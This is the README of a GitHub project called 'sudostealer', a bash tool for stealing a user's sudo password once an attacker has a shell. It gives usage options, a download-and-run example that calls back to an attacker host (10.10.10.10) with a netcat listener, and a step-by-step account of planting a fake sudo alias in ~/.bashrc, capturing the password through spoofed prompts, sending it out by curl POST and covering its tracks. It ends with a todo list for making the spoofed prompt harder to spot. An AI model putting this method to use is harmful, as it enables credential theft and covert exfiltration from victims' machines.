sourque / sudostealer

Bash script to steal the sudo password of a user

sudostealer

A bash script to steal the sudo password of a user when you have a shell (as that user), but no password.

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Usage:

Usage: ./sudostealer.sh
	[-m method]      	alias, path, binary
	[-d droppath]    	path to drop script. must be writable
	[-p port]        	choose port. always HTTP traffic
	lhost            	host to callback to

Example:

wget https://raw.githubusercontent.com/543hn/sudostealer/master/sudostealer.sh
chmod +x ./sudostealer.sh
./sudostealer.sh 10.10.10.10 -p 80

Requirements on RHOST:

• bash, sed, curl
• A shell that reads ~/.bashrc

Requirements on LHOST:

• A netcat listener on port 80 (or whatever port set with -p)

Screenshots:

Generating/dropping:

Getting a callback:

This idea was given to me by rewzilla (github.com/rewzilla)

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How does it work?

1. Attacker gains shell access.
2. Run this script (with any options) on the RHOST, then delete it.
3. Set up a nc listener on LHOST on 80 or whichever port you set.
   1. Script inserts sudo alias into ~/.bashrc to be run the next time a terminal opens.
   2. Upon running, script fakes sudo prompts.
      1. If incorrect password, continue.
      2. If correct password, break.
4. Wait for user to open a new terminal and types sudo.
5. Get sent creds through POST data with curl.
6. Script deletes itself, removes alias, exec bashes.

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If anyone wants to Hacktober some stuff, todo:

• Handle method input, create new methods for dropping (see comments in script)
• Sanitize/verify CLI input (getopts)
• Don't add 50 aliases if the script is run multiple times
• Fix sudo prompt realness (don't allow CTRL-c to kill sleep-- trap doesn't catch it)
  • Pressing enter on a blank password, then immediately CTRL-c shouldn't exit
• Find a way to force re-sourcing ~/.bashrc so you don't have to wait for a new terminal